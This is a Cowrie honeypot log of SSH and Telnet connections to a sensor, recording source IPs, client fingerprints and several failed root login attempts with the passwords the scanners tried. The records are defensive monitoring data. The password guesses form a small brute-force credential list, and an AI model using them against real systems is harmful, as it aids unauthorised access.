{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:31.505133Z","src_ip":"43.134.228.151","session":"8f0683f06087","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47450,"dst_ip":"10.17.0.5","dst_port":23,"session":"05790bada1f3","protocol":"telnet","message":"New connection: 152.42.224.71:47450 (10.17.0.5:23) [session: 05790bada1f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:31.517591Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123","message":"login attempt [root/Test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:32.522053Z","src_ip":"43.134.228.151","session":"8f0683f06087","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:33.771856Z","src_ip":"43.134.228.151","session":"8f0683f06087","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44618,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a81deb40836","protocol":"telnet","message":"New connection: 152.42.224.71:44618 (10.17.0.5:23) [session: 4a81deb40836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:35.855692Z"}
{"eventid":"cowrie.session.closed","duration":42.36756253242493,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:36.252697Z","src_ip":"152.42.224.71","session":"6600db8d052f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.58417367935181,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:36.725821Z","src_ip":"152.42.224.71","session":"ab97821412e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.394344806671143,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:37.146564Z","src_ip":"152.42.224.71","session":"2ed19480ddc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44632,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e8a210b2888","protocol":"telnet","message":"New connection: 152.42.224.71:44632 (10.17.0.5:23) [session: 7e8a210b2888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:38.194245Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44644,"dst_ip":"10.17.0.5","dst_port":23,"session":"2aa0018cd645","protocol":"telnet","message":"New connection: 152.42.224.71:44644 (10.17.0.5:23) [session: 2aa0018cd645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:39.967813Z"}
{"eventid":"cowrie.session.closed","duration":35.58942198753357,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:43.941308Z","src_ip":"152.42.224.71","session":"05d8acdb07db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59532,"dst_ip":"10.17.0.5","dst_port":23,"session":"b16dd8bd627d","protocol":"telnet","message":"New connection: 152.42.224.71:59532 (10.17.0.5:23) [session: b16dd8bd627d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:46.719810Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":35474,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce5bb5cc55db","protocol":"ssh","message":"New connection: 43.153.54.120:35474 (159.203.135.109:22) [session: ce5bb5cc55db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:48.885689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:48.890733Z","src_ip":"43.153.54.120","session":"ce5bb5cc55db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:48.959833Z","src_ip":"43.153.54.120","session":"ce5bb5cc55db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www123456","message":"login attempt [root/www123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:49.262957Z","src_ip":"43.153.54.120","session":"ce5bb5cc55db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":34860,"dst_ip":"159.203.135.109","dst_port":22,"session":"101553dfa548","protocol":"ssh","message":"New connection: 103.75.182.198:34860 (159.203.135.109:22) [session: 101553dfa548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:49.650033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:49.655948Z","src_ip":"103.75.182.198","session":"101553dfa548","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:49.901768Z","src_ip":"103.75.182.198","session":"101553dfa548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:50.333311Z","src_ip":"43.153.54.120","session":"ce5bb5cc55db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123098","message":"login attempt [root/123098] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:50.634964Z","src_ip":"103.75.182.198","session":"101553dfa548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:51.882759Z","src_ip":"103.75.182.198","session":"101553dfa548","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.230.136.33","src_port":45600,"dst_ip":"159.203.135.109","dst_port":22,"session":"a845615f734d","protocol":"ssh","message":"New connection: 94.230.136.33:45600 (159.203.135.109:22) [session: a845615f734d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:52.412539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:52.417349Z","src_ip":"94.230.136.33","session":"a845615f734d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:52.569730Z","src_ip":"94.230.136.33","session":"a845615f734d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"774411","message":"login attempt [root/774411] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:53.208859Z","src_ip":"94.230.136.33","session":"a845615f734d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:54.367047Z","src_ip":"94.230.136.33","session":"a845615f734d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59542,"dst_ip":"10.17.0.5","dst_port":23,"session":"90d76b93523b","protocol":"telnet","message":"New connection: 152.42.224.71:59542 (10.17.0.5:23) [session: 90d76b93523b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:54.458781Z"}
{"eventid":"cowrie.session.closed","duration":52.6214439868927,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:56.823864Z","src_ip":"152.42.224.71","session":"79aa6807ff06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.227.3","src_port":37694,"dst_ip":"159.203.135.109","dst_port":22,"session":"efd193a80ec1","protocol":"ssh","message":"New connection: 43.156.227.3:37694 (159.203.135.109:22) [session: efd193a80ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:58.122563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:58.128639Z","src_ip":"43.156.227.3","session":"efd193a80ec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:58.374525Z","src_ip":"43.156.227.3","session":"efd193a80ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"GBHalso98","message":"login attempt [root/GBHalso98] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:59.390007Z","src_ip":"43.156.227.3","session":"efd193a80ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:00.640095Z","src_ip":"43.156.227.3","session":"efd193a80ec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38122,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b7b8f0263ca","protocol":"telnet","message":"New connection: 152.42.224.71:38122 (10.17.0.5:23) [session: 6b7b8f0263ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:01.567637Z"}
{"eventid":"cowrie.session.closed","duration":31.122061014175415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:02.499394Z","src_ip":"152.42.224.71","session":"294d67cb3b9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38126,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cccb79d67fd","protocol":"telnet","message":"New connection: 152.42.224.71:38126 (10.17.0.5:23) [session: 2cccb79d67fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:03.219508Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38138,"dst_ip":"10.17.0.5","dst_port":23,"session":"1172f81f5b6d","protocol":"telnet","message":"New connection: 152.42.224.71:38138 (10.17.0.5:23) [session: 1172f81f5b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:03.719022Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50072,"dst_ip":"10.17.0.5","dst_port":23,"session":"14c05b38310b","protocol":"telnet","message":"New connection: 152.42.224.71:50072 (10.17.0.5:23) [session: 14c05b38310b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:06.158766Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50076,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e4ec96912a4","protocol":"telnet","message":"New connection: 152.42.224.71:50076 (10.17.0.5:23) [session: 8e4ec96912a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:08.791329Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50090,"dst_ip":"10.17.0.5","dst_port":23,"session":"722e5acb4273","protocol":"telnet","message":"New connection: 152.42.224.71:50090 (10.17.0.5:23) [session: 722e5acb4273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:10.540413Z"}
{"eventid":"cowrie.session.closed","duration":39.223944425582886,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:17.418005Z","src_ip":"152.42.224.71","session":"7e8a210b2888","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.90048933029175,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:19.513808Z","src_ip":"152.42.224.71","session":"fa896a9ebc0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.98723244667053,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:20.504736Z","src_ip":"152.42.224.71","session":"05790bada1f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40050,"dst_ip":"10.17.0.5","dst_port":23,"session":"495bf1f11b8e","protocol":"telnet","message":"New connection: 152.42.224.71:40050 (10.17.0.5:23) [session: 495bf1f11b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:25.073479Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.213","src_port":61792,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f7ad60307a9","protocol":"ssh","message":"New connection: 101.36.108.213:61792 (159.203.135.109:22) [session: 0f7ad60307a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:26.582254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:26.589267Z","src_ip":"101.36.108.213","session":"0f7ad60307a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.01592302322388,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:26.735642Z","src_ip":"152.42.224.71","session":"b16dd8bd627d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:26.807760Z","src_ip":"101.36.108.213","session":"0f7ad60307a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55256,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4512f4650d8","protocol":"telnet","message":"New connection: 152.42.224.71:55256 (10.17.0.5:23) [session: f4512f4650d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:27.365276Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"kuai","message":"login attempt [root/kuai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:27.669905Z","src_ip":"101.36.108.213","session":"0f7ad60307a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:28.896731Z","src_ip":"101.36.108.213","session":"0f7ad60307a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.002432346344,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:30.459631Z","src_ip":"152.42.224.71","session":"21ee1a404684","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55258,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eb2547d3ad1","protocol":"telnet","message":"New connection: 152.42.224.71:55258 (10.17.0.5:23) [session: 0eb2547d3ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:30.662261Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.115.94","src_port":44626,"dst_ip":"159.203.135.109","dst_port":22,"session":"320a2ef2b09e","protocol":"ssh","message":"New connection: 119.28.115.94:44626 (159.203.135.109:22) [session: 320a2ef2b09e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:32.115093Z"}
